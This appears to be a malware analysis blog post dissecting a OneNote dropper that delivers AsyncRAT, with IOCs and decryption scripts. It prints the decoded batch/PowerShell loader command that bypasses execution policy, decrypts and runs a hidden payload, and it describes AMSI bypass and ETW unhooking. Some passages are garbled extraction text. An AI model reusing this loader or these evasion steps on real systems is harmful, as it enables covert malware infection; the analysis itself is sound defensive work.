# AsyncRAT OneNote Dropper **0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper** We will be covering a recent payload delivery technique leveraging OneNote documents to lure users open fake attachments and become a victim of AsyncRAT malware. ## OneNote Analysis The OneNote document contains inside of itself a hidden .bat file that we can see by hovering the "phishy" button: Phishy OneNote Document [We can use OneDump.py in order to see what embedded files the document has and by this understand what we need to extract:](https://blog.didierstevens.com/2023/01/22/new-tool-onedump-py/) OneDump.py commandline We can see that 2 files has .PNG magic bytes which indicates that these files are images. but the second file actually starts with @ech which indicates a start of a Batch script. We can dump the file by simply applying the flags -s followed up with the file stream ID and the -d for dump: Dump embedded batch file from OneNote ----- ## atc a ys s looking at the batch script on text editor we can see 3 main things: 1. 1. The script contains broken strings that are assigned to variables. 2. 2. A huge Base64 blob in the middle of the script. 3. 3. A call that concatenates the broken strings into a command. Batch script content We can use the cmd and copy paste the strings assigns and then output the final commands: Decoded commands These are the 3 commands that are being executed by the batch script: 1. copy C:\Windows\System32\WindowsPowerShell\v1 0\powershell exe /y "%~0 exe" ----- 2. cd "%~dp0" ​ 3. "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $flLnL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '') ('%~f0').Split([Environment]::NewLine);foreach ($jhglm in $flLnL) { if ($jhglm.StartsWith(':: ')) { $uDeAm = $jhglm.Substring(3); break; }; };$dLIJD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($uDeAm);$nJkwh = New-Object System.Security.Cryptography.AesManaged;$nJkwh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$nJkwh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$nJkwh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=');$nJkwh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '') ('mehcJXqMnXZUmnmrBD1Eeg==');$bIbyd = $nJkwh.CreateDecryptor();$dLIJD = $bIbyd.TransformFinalBlock($dLIJD, 0, $dLIJD.Length);$bIbyd.Dispose();$nJkwh.Dispose();$gJfcg = New-Object System.IO.MemoryStream(, $dLIJD);$dkGYN = New-Object System.IO.MemoryStream;$yfRSU = New-Object System.IO.Compression.GZipStream($gJfcg, [IO.Compression.CompressionMode]::Decompress);$yfRSU.CopyTo($dkGYN);$yfRSU.Dispose();$gJfcg.Dispose();$dkGYN.Dispose();$dLIJD = $dkGYN.ToArray();$qMhaY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($dLIJD);$haTMg = $qMhaY.EntryPoint;$haTMg.Invoke($null, (, [string[]] ('%*'))) Basically what happens is that the script copies powershell.exe to the current folder and then executes a powershell script with hidden windows and execution policy set to bypass ## Powershell Analysis Looking at the powershell script we can see here also 3 main parts: 1. 1. Iterate through the content of the batch script line by line and once a line starts with :: remove this matching pattern and stop interating. 2. 2. AES decryption process. 3. 3. Invoking the decrypted binary. PowerShell script content The script will retrieve the big blob I've mentioned in the batch script analysis part and decrypt it using AES, the key for the decryption will be: ``` I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc= (in base64) and the IV will be: mehcJXqMnXZUmnmrBD1Eeg== (also in base64). ``` The output after the decryption process will be a .gz archive that then being decompressed and the content of it will be a binary that will be invoked by the script. ----- CyberChef recipe [The CyberChef recipe can be found here​](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Base64','string':'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc%3D'%7D,%7B'option':'Base64','string':'mehcJXqMnXZUmnmrBD1Eeg%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)) I've also implemented a python script that can be used to decrypt and save the .gz archive: from malduck import aes from base64 import b64decode ​ BATCH_FILE_PATH = '/Users/igal/malwares/Asyncrat/OneNote/one.bat' AES_KEY = 'I5NM1YScgS/1//5R8gmm/tnI3DRCjxBbFnAG0xn8rTc=' AES_IV = 'mehcJXqMnXZUmnmrBD1Eeg==' OUTPUT_ARCHIVE_PATH = '/Users/igal/malwares/Asyncrat/OneNote/one.gz' ​ batchFile = open(BATCH_FILE_PATH, 'r').readlines() encFile = '' for line in batchFile: if ':: ' in line: encFile = line[3:] break ​ key = b64decode(AES_KEY) iv = b64decode(AES_IV) data = b64decode(encFile) ​ plainData = aes.cbc.decrypt(key, iv, data) ​ open(OUTPUT_ARCHIVE_PATH, 'wb').write(plainData) print(f'[+] gz archive was created in:{OUTPUT_ARCHIVE_PATH}') ----- [+] gz archive was created in:/Users/igal/malwares/Asyncrat/OneNote/one.gz ## .NET Loader now we can analyze the loader stored in the archive. The loader is 32bit .NET assembly: DiE information I open up the loader in DnSpy in order to further analyze it. The loader has several key actions: 1. 1. Set the file to be hidden and part of the system files 2. 2. VM check based on computer system info Evasion - VM check 1. 3. **[AMSI Bypass (similar POC code can be found here​](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs)** Evasion - AMSI Bypass 1. 4. **[ETW Unhooking which will disable the logging for Assembly.Load calls, this topic is explained in depth by XPN.](https://blog.xpnsec.com/hiding-your-dotnet-etw/)** ----- as o U oo g 1. 5. Decrypt strings which some of them used during the AMSI Bypass & ETW Unhooking procedures and other strings are part of the loader functionalities. the method that will be in charge of decrypting those strings is DCPmslvtGCDAiOhxxQvq.MvljRQYEXFVoIflOHPxg and it's actually another AES decryption routine which receives 3 arguments: Cipher, key, iv (after decoding those arguments from base64). Strings AES decryption method I've created a quick PowerShell script that invokes the method with the encrypted strings and prints out the decrypted strings $reflectedAsm = [System.Reflection.Assembly]::LoadFile(PATH_TO_FILE) ​ $mainType = $reflectedAsm.GetType("rwcQssqTcyOdXXoBLoie.DCPmslvtGCDAiOhxxQvq") ​ $key = [System.Convert]::FromBase64String("iUlREPUR7NQ6ocefGLoxBty1eSNembQTSWsROZidb0A=") $iv = [System.Convert]::FromBase64String("U+YnktYGyx/j43tP2+WVyw==") ​ $encryptedStrings = ("8qhzRqWw9fiH/7/a5reZMA==", "D/l1SD7OECP0XB2rUm87gA==", "lbk35FoNbOitTifMeNV97Q==", "uJDwrcc4OjLfnn4YCE0Bxw==", "x9nd50/ydQ4NyJMlduaTA1aZE7EpXLNuSa2GwfmjWlxjNEtyTrE+c9z9hlGIXS4Q") ​ foreach ($encArg in $encryptedStrings){ $decodedArg = [System.Convert]::FromBase64String($encArg) $DecResult = [System.Text.Encoding]::UTF8.GetString(($mainType.GetMethod("MvljRQYEXFVoIflOHPxg")).invoke($null,@($decodedArg, $key, $iv))) Write-Output $DecResult } The decrypted strings are: AmsiScanBuffer EtwEventWrite payload.exe runpe.dll /c choice /c y /n /d y /t 1 & attrib -h -s " The first two strings are part of the AMSI Bypass and ETW Unhooking procedures. payload.exe and runpe.dll are strings that the loader will try to fetch from the binary resources, if we look at the resources of this binary we can see 2 resources: payload.exe Ticket_Reprint.pdf The loader will iterate through the binary resources and if the name of the resource isn't one of the decrypted strings it will instantly fetch the content of the resource and execute it. In our case the loader will load a fake PDF for the user: ----- Loader binary resources Resource extraction Fake PDF preview The loader will decrypt the content of payload.exe resource which will be another .gz archive and it will decompress it with the method ``` XWmzUoViPReUSRriqGvB. ``` Decompress method For this I've also implemented a quick PowerShell script that will invoke those methods to retrieve the final payload $stream = $reflectedAsm.GetManifestResourceStream("payload.exe") $binaryReader = New-Object System.IO.BinaryReader($stream) $contents = $binaryReader.ReadBytes($stream.Length) $DecryptedGZ = $mainType.GetMethod("MvljRQYEXFVoIflOHPxg").invoke($null,@($contents, $key, $iv)) ----- $ a ay oad $ a ype Get et od( Uo eUS qG ) o e($ u, @(,$ ec yptedG )) ​ [io.file]::WriteAllBytes(PATH_TO_FILE,$finalPayload) Now that the loader has his final payload it will invoke the entry point of the payload and will execute a cmd command to delete the file from disk: Payload invocation and file deletion ## ASyncRAT Payload I will not conduct a deep analysis of the capabilities of ASyncRAT, as it's a pretty known and heavy analyzed malware, if you want to find out in [depth analysis of this family you can find it out here.](https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat) What I will be doing is creating a short PowerShell script that will extract the configuration automatically for us: $reflectedAsm = [System.Reflection.Assembly]::LoadFile("C:\Users\igal\Desktop\AsyncRAT.bin") ​ $SettingsType = $reflectedAsm.GetType("Client.Settings") ​ ($SettingsType.GetMethod("InitializeSettings")).Invoke($null, $null) ​ $fields = $SettingsType.GetFields() ​ foreach ($field in $fields){ $value = $field.GetValue($null) Write-Host "$($field.Name): $value" } The output will be: Ports: 6606,7707,8808 Hosts: 207.244.236.205 Version: 0.5.7B Install: false InstallFolder: %AppData% InstallFile: ----- ey �i�ph� ↕� 6→#� ס� B♦� � MTX: AsyncMutex_6SI8OkPnk Certificate: SD58z6lYrooqCm8bVSOWmKOD2MuNYpniBO2revEinEMuHrAbTKh4Oi9w9RXFKogGADbFfzn8t6wT/IFjL83rZa69Y8HmYud8dQ2cAfYwWEfroB1 Serversignature: Qcf6H60GXB8k7XU89y1GpMcXleNl4PyyrBbzxIzG2/ztlGpimu4P/YTXis20RQP/9Bd+LClqEicaIPJPR/jEhBJeOZoepuKLhOED6A0rjZjefKQIPi95Cbe ServerCertificate: [Subject] CN=AsyncRAT Server ​ [Issuer] CN=AsyncRAT Server ​ [Serial Number] 00AFA56C0FA71C2AD47B908F6EA2308D ​ [Not Before] 1/1/2023 3:53:23 PM ​ [Not After] 12/31/9999 11:59:59 PM ​ [Thumbprint] 08A82A722AD7B5376494D7112785B366DA6CF449 ​ Anti: false aes256: Client.Algorithm.Aes256 Pastebin: null BDOS: false Hwid: A8F7444724DA6DACA6D4 Delay: 3 Group: Default Which pretty much makes our life a bit easier with IOC extraction :) ## IOC's Invoice.one - [b11b51ff96dc7a5f1cf9985087a6ad4f66980a2b2a9b1945acd43e39434c8dec​](https://bazaar.abuse.ch/sample/b11b51ff96dc7a5f1cf9985087a6ad4f66980a2b2a9b1945acd43e39434c8dec/) One.bat - [9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8​](https://bazaar.abuse.ch/sample/9800bef9d4936ee96d4872fb686121dd7209f8b529e9bdc833c4fe54bb68f5c8/) DotNetLoader.bin - [3c37d7351c091a9c2fce72ecde4bcd1265f148dc3b77017d468e08741091bc50​](https://bazaar.abuse.ch/sample/3c37d7351c091a9c2fce72ecde4bcd1265f148dc3b77017d468e08741091bc50/) [Ticket_Reprint.pdf - 101e408316eb7997bc4d2a383db92ab5a60da4742ebd7a7b8f15ca5d4d54bebe​](https://bazaar.abuse.ch/sample/101e408316eb7997bc4d2a383db92ab5a60da4742ebd7a7b8f15ca5d4d54bebe/) AsyncRAT.bin - [00cdee79a9afc1bf239675ba0dc1850da9e4bf9a994bb61d0ec22c9fdd3aa36f​](https://bazaar.abuse.ch/sample/00cdee79a9afc1bf239675ba0dc1850da9e4bf9a994bb61d0ec22c9fdd3aa36f/) [loaderDecrypt py](https://gist.github.com/0xToxin/eb643035572de18335b4f799aeb0c87d) ----- [oade ps](https://gist.github.com/0xToxin/bf43e018245f6e24f1a9274054275653) [​Async.ps1​](https://gist.github.com/0xToxin/a70c56e4d9ff9de6b057f13abd84f83f) -----